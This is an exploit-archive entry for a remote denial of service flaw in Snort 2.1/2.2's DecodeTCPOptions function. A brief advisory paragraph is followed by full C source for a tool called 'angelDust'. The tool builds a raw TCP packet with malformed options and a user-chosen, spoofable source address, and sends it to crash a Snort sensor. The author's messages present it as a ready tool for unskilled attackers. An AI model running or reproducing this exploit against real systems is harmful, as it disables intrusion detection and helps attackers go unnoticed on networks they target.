Snort 2.1/2.2 DecodeTCPOptions Remote Denial of Service Vulnerability (2)

                                                source: http://www.securityfocus.com/bid/12084/info
 
Snort is reported prone to a remote denial of service vulnerability. The vulnerability is reported to exist in the DecodeTCPOptions() function of 'decode.c', and is as a result of a failure to sufficiently handle malicious TCP packets.
 
A remote attacker may trigger this vulnerability to crash a remote Snort server and in doing so may prevent subsequent malicious attacks from being detected. 

#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <string.h> 
#include <netinet/in.h> 
#include <netinet/tcp.h> 
#include <netinet/ip.h> 
#include <sys/socket.h> 
#include <sys/types.h> 
#include <arpa/inet.h> 
#include <getopt.h> 

#define BINARYBETA 

void printUsage() 
{ 
printf("./angelDust -D <destination_ip> -S <source_ip>\n"); 
printf("Please as with all inhalants use wisely in the comfort of your own home\n"); 
} 


int main(int argc, char **argv) 
{ 
int s; 
int next_opt; 
const char* const short_opts="hD:S:"; 
//either one there both not valid protocol 
//char opts[] = "\x02\04\xff\xff"; 
char opts[] = "\x06\00\xff\xff"; 

char datagram[64]; 
struct sockaddr_in addr; 
struct ip *ip = (struct ip *) datagram; 
struct tcphdr *tcp; 
char dst_ip[16]; 
char src_ip[16]; 
#ifdef BINARYBETA 
if(strstr (argv[0],"/angelDust") == NULL) 
{ 
printf("Cmon you stupid llama, put the original name back\n"); 
exit(-1); 
} 
#endif 

if(argc < 2) 
{ 
printf("angelDust by Antimatt3r\n"); 
printf("pr0ps to Marcin for finding this bug\n"); 
printf("pr0ps to me for making something useful out of it for the skiddies\n"); 
exit(-1); 
} 


const struct option long_opts[]= 
{ 
{"help", 0, NULL,'h'}, 
{"destination_ip",1,NULL,'D'}, 
{"source_ip",1,NULL,'S'}, 
}; 

strncpy(dst_ip,"127.0.0.1",16); 
strncpy(src_ip,"127.0.0.1",16); 

do 
{ 
next_opt = getopt_long(argc,argv,short_opts,long_opts,NULL); 
switch( next_opt) 
{ 
case 'h' : 
printUsage(); 
return 0; 
case 'D' : 
strncpy(dst_ip,optarg,16); 
break; 
case 'S' : 
strncpy(src_ip,optarg,16); 
break; 

} 
} 
while(next_opt != -1) ; 


memset(&datagram, 0, sizeof(datagram)); 
addr.sin_addr.s_addr = inet_addr(dst_ip); 
addr.sin_port = htons(123); 
addr.sin_family = AF_INET; 

ip->ip_hl = 5; 
ip->ip_v = 4; 
ip->ip_tos = 0; 
ip->ip_id = 0; 
ip->ip_off = 0; 
ip->ip_ttl = 64; 
ip->ip_p = IPPROTO_TCP; 
ip->ip_len = 44; 
ip->ip_sum = 0; 
ip->ip_dst.s_addr = addr.sin_addr.s_addr; 
ip->ip_src.s_addr = inet_addr(src_ip); 

tcp = (struct tcphdr *) (datagram + (ip->ip_hl << 2)); 
tcp->source = htons(321); 
tcp->dest = addr.sin_port; 
tcp->seq = 0; 
tcp->ack = 0; 
tcp->res1 = 0; 
tcp->doff = 6; 
tcp->syn = 0; 
tcp->window = 0x1000; 
tcp->check = 0; 
tcp->urg_ptr = 0; 

memcpy(datagram + 40, opts, sizeof(opts)); 

if ((s = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) { 
perror("socket"); 
exit(0); 
} 

if (sendto(s, datagram, ip->ip_len, 0, (struct sockaddr *) &addr, 
sizeof(struct sockaddr_in)) == -1) { 
perror("sendto"); 
exit(-1); 
} 
fprintf(stderr,"Sniff this\n"); 
fprintf(stderr,"..............//"); 
sleep(1); 
fprintf(stderr,"\b\b\b\b// "); 
sleep(1); 
fprintf(stderr,"\b\b\b\b\b\b// "); 
sleep(1); 
fprintf(stderr,"\b\b\b\b\b\b\b\b// "); 
sleep(1); 
fprintf(stderr,"\b\b\b\b\b\b\b\b\b\b// "); 
sleep(1); 
fprintf(stderr,"\b\b\b\b\b\b\b\b\b\b\b\b// \n"); 
printf("and choke!\n"); 

close(s); 
return 0; 
}